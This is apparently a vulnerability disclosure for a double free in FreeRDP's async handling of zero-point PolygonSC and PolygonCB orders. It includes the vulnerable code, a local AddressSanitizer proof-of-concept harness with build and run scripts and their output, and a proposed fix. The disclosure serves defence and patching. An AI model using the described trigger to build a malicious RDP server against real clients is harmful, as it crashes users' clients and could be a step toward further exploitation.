FreeRDP: Async PolygonSC and PolygonCB zero-point updates cause a client double free

Summary

When a FreeRDP client enables the optional +async-update mode and connects to a malicious or compromised RDP server, the server can send a point-bearing PolygonSC or PolygonCB order followed by an order that sets the point count to zero without supplying new point data. The parser retains the point-array pointer from the first order. The async message proxy shallow-copies that pointer into the zero-point queue message because its deep copy is conditional on numPoints > 0. The queue consumer then frees the parser-owned pointer, and parser reset or final cleanup frees it again.

I reproduced both order types against current master using the production parser, proxy-copy, queue, and message-destructor functions under AddressSanitizer. Both zero-count cases reported a double free; matched nonzero-count controls showed an independent queue allocation and completed cleanly. The demonstrated impact is a client crash. I did not demonstrate remote code execution, confidentiality impact, or integrity impact.

AsyncUpdate is disabled by default. The attack requires the user or deployment to enable it and connect to the malicious or compromised server. No server-side account is required after the client connects.

The root cause is present in 3.29.0, 3.30.0, 3.31.0, 3.31.1, and current master. It was introduced by commit d0bf57c7. No fixed release or exact public duplicate is known.

The decisive PolygonSC proxy code in libfreerdp/core/message.c is:

*wParam = *polygonSC;
if (polygonSC->numPoints > 0)
{
	wParam->points = (DELTA_POINT*)calloc(polygonSC->numPoints, sizeof(DELTA_POINT));

	if (!wParam->points)
	{
		free(wParam);
		return FALSE;
	}

	CopyMemory(wParam->points, polygonSC->points, sizeof(DELTA_POINT) * wParam->numPoints);
}

PolygonCB has the same pattern. On the zero-count path, the copied points member is still the parser's allocation. update_message_free_primary_update_class unconditionally frees it:

case PrimaryUpdate_PolygonSC:
	{
		POLYGON_SC_ORDER* wParam = (POLYGON_SC_ORDER*)msg->wParam;
		free(wParam->points);
		free(wParam);
	}
break;
case PrimaryUpdate_PolygonCB:
	{
		POLYGON_CB_ORDER* wParam = (POLYGON_CB_ORDER*)msg->wParam;
		free(wParam->points);
		free(wParam);
	}
break;

update_reset_state and update_free later free the parser's polygon_sc.points and polygon_cb.points. A later point-bearing order can instead pass the dangling pointer to realloc in update_read_delta_points. The PoC serializes message destruction and parser cleanup to demonstrate the ownership violation deterministically; it does not claim a reliable live-thread allocator exploit.

Reproduction

The sibling poc/ directory contains a bounded AddressSanitizer reproducer. It uses a caller-provided FreeRDP source tree and matching CMake build, invokes the real parser and async message functions, and does not contact an RDP server or modify persistent data.

From the disclosure directory, with source and build directories at the example relative paths:

cd poc
FREERDP_SRC=../FreeRDP FREERDP_BUILD=../FreeRDP/build ./build.sh
FREERDP_BUILD=../FreeRDP/build ./run.sh

If dependency headers are outside the system include path, pass the necessary -I flags through CPPFLAGS_EXTRA.

Observed on current master:

control-sc: clean control
parsed PolygonSC numPoints=1
queued numPoints=1 alias=no
queued message freed; releasing parser-owned points
completed without sanitizer finding
parsed PolygonSC numPoints=0
queued numPoints=0 alias=yes
queued message freed; releasing parser-owned points
attack-sc: AddressSanitizer double-free observed (exit 1)
control-cb: clean control
parsed PolygonCB numPoints=1
queued numPoints=1 alias=no
queued message freed; releasing parser-owned points
completed without sanitizer finding
parsed PolygonCB numPoints=0
queued numPoints=0 alias=yes
queued message freed; releasing parser-owned points
attack-cb: AddressSanitizer double-free observed (exit 1)

<!-- POC_FILES_BEGIN -->

poc/build.sh

<!-- BEGIN FILE: poc/build.sh -->

#!/bin/sh
set -eu

: "${FREERDP_SRC:?Set FREERDP_SRC to the FreeRDP source directory}"
: "${FREERDP_BUILD:?Set FREERDP_BUILD to the matching CMake build directory}"

BASE_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
SRC=$(CDPATH= cd -- "$FREERDP_SRC" && pwd)
BUILD=$(CDPATH= cd -- "$FREERDP_BUILD" && pwd)
OUT_DIR=${OUT_DIR:-"$BASE_DIR/.build"}
CC=${CC:-cc}
CPPFLAGS_EXTRA=${CPPFLAGS_EXTRA:-}
LDFLAGS_EXTRA=${LDFLAGS_EXTRA:-}

mkdir -p "$OUT_DIR"

# The included files are the production parser and async message-proxy implementation.
# shellcheck disable=SC2086
"$CC" -std=gnu11 -DNDEBUG -g -O2 -fno-omit-frame-pointer \
	-fsanitize=address,undefined -ffunction-sections -fdata-sections \
	-Wno-error -Wno-unused-function -Wno-unused-variable \
	-I"$SRC" -I"$SRC/include" -I"$SRC/winpr/include" \
	-I"$BUILD/include" -I"$BUILD/winpr/include" $CPPFLAGS_EXTRA \
	-o "$OUT_DIR/polygon_zero_alias" "$BASE_DIR/polygon_zero_alias.c" \
	-fsanitize=address,undefined -Wl,--gc-sections \
	-L"$BUILD/winpr/libwinpr" -Wl,-rpath,"$BUILD/winpr/libwinpr" \
	-lwinpr3 -lm -lpthread -ldl $LDFLAGS_EXTRA

printf 'built %s\n' "$OUT_DIR/polygon_zero_alias"

<!-- END FILE: poc/build.sh -->

poc/polygon_zero_alias.c

<!-- BEGIN FILE: poc/polygon_zero_alias.c -->

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "libfreerdp/core/orders.c"
#include "libfreerdp/core/message.c"

static int run_case(BOOL zero_count, BOOL color_brush)
{
	rdpContext context = { 0 };
	rdp_update_internal update = { 0 };
	ORDER_INFO info = { 0 };
	wMessage message = WINPR_C_ARRAY_INIT;
	BYTE wire_count = zero_count ? 0 : 1;
	wStream stream = WINPR_C_ARRAY_INIT;
	DELTA_POINT* parser_points = NULL;

	update.common.context = &context;
	context.update = &update.common;
	update.queue = MessageQueue_New(NULL);
	if (!update.queue)
		return 4;

	if (color_brush)
	{
		POLYGON_CB_ORDER polygon = { 0 };
		polygon.numPoints = 2;
		polygon.points = calloc(polygon.numPoints, sizeof(DELTA_POINT));
		if (!polygon.points)
			return 2;
		parser_points = polygon.points;
		info.fieldFlags = ORDER_FIELD_12;
		Stream_StaticInit(&stream, &wire_count, sizeof(wire_count));
		if (!update_read_polygon_cb_order("PolygonCB", &stream, &info, &polygon))
			return 3;
		printf("parsed PolygonCB numPoints=%" PRIu32 "\n", polygon.numPoints);
		if (!update_message_PolygonCB(&context, &polygon))
			return 5;
	}
	else
	{
		POLYGON_SC_ORDER polygon = { 0 };
		polygon.numPoints = 2;
		polygon.points = calloc(polygon.numPoints, sizeof(DELTA_POINT));
		if (!polygon.points)
			return 2;
		parser_points = polygon.points;
		info.fieldFlags = ORDER_FIELD_06;
		Stream_StaticInit(&stream, &wire_count, sizeof(wire_count));
		if (!update_read_polygon_sc_order("PolygonSC", &stream, &info, &polygon))
			return 3;
		printf("parsed PolygonSC numPoints=%" PRIu32 "\n", polygon.numPoints);
		if (!update_message_PolygonSC(&context, &polygon))
			return 5;
	}

	if (!MessageQueue_Peek(update.queue, &message, TRUE))
		return 6;

	if (color_brush)
	{
		POLYGON_CB_ORDER* queued = message.wParam;
		printf("queued numPoints=%" PRIu32 " alias=%s\n", queued->numPoints,
		       queued->points == parser_points ? "yes" : "no");
		if (!update_message_free_primary_update_class(&message, PrimaryUpdate_PolygonCB))
			return 7;
	}
	else
	{
		POLYGON_SC_ORDER* queued = message.wParam;
		printf("queued numPoints=%" PRIu32 " alias=%s\n", queued->numPoints,
		       queued->points == parser_points ? "yes" : "no");
		if (!update_message_free_primary_update_class(&message, PrimaryUpdate_PolygonSC))
			return 7;
	}

	puts("queued message freed; releasing parser-owned points");
	fflush(stdout);
	free(parser_points);
	MessageQueue_Free(update.queue);
	puts("completed without sanitizer finding");
	return 0;
}

int main(int argc, char** argv)
{
	if ((argc != 2) ||
	    ((strcmp(argv[1], "control-sc") != 0) && (strcmp(argv[1], "attack-sc") != 0) &&
	     (strcmp(argv[1], "control-cb") != 0) && (strcmp(argv[1], "attack-cb") != 0)))
	{
		fprintf(stderr, "usage: %s control-sc|attack-sc|control-cb|attack-cb\n", argv[0]);
		return 2;
	}

	return run_case(strncmp(argv[1], "attack", 6) == 0, strstr(argv[1], "-cb") != NULL);
}

<!-- END FILE: poc/polygon_zero_alias.c -->

poc/run.sh

<!-- BEGIN FILE: poc/run.sh -->

#!/bin/sh
set -eu

: "${FREERDP_BUILD:?Set FREERDP_BUILD to the matching CMake build directory}"

BASE_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
BUILD=$(CDPATH= cd -- "$FREERDP_BUILD" && pwd)
OUT_DIR=${OUT_DIR:-"$BASE_DIR/.build"}
BIN="$OUT_DIR/polygon_zero_alias"

if [ ! -x "$BIN" ]; then
	echo "missing $BIN; run build.sh first" >&2
	exit 2
fi

export LD_LIBRARY_PATH="$BUILD/winpr/libwinpr${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}"

run_control()
{
	mode=$1
	ASAN_OPTIONS=detect_leaks=0:halt_on_error=1 "$BIN" "$mode" \
		>"$OUT_DIR/$mode.stdout" 2>"$OUT_DIR/$mode.stderr"
	printf '%s: clean control\n' "$mode"
	cat "$OUT_DIR/$mode.stdout"
}

run_attack()
{
	mode=$1
	set +e
	ASAN_OPTIONS=detect_leaks=0:halt_on_error=1 "$BIN" "$mode" \
		>"$OUT_DIR/$mode.stdout" 2>"$OUT_DIR/$mode.stderr"
	rc=$?
	set -e
	cat "$OUT_DIR/$mode.stdout"
	if [ "$rc" -eq 0 ] || ! grep -q 'attempting double-free' "$OUT_DIR/$mode.stderr"; then
		echo "$mode: expected AddressSanitizer double-free was not observed" >&2
		exit 1
	fi
	printf '%s: AddressSanitizer double-free observed (exit %s)\n' "$mode" "$rc"
	grep -m 1 'ERROR: AddressSanitizer' "$OUT_DIR/$mode.stderr"
}

run_control control-sc
run_attack attack-sc
run_control control-cb
run_attack attack-cb

<!-- END FILE: poc/run.sh --> <!-- POC_FILES_END -->

Remediation

After shallow-copying each polygon order, set the queued message's points member to NULL before the conditional deep copy. This ensures a zero-point queue message owns no point buffer and prevents its destructor from freeing parser state. Apply the same change to update_message_PolygonSC and update_message_PolygonCB.

Add regression tests for both order types that retain an allocated parser point array, parse a zero count without point data, enqueue and destroy the message, and then reset the parser. Also retain a nonzero-count control that verifies the queue receives a distinct deep copy.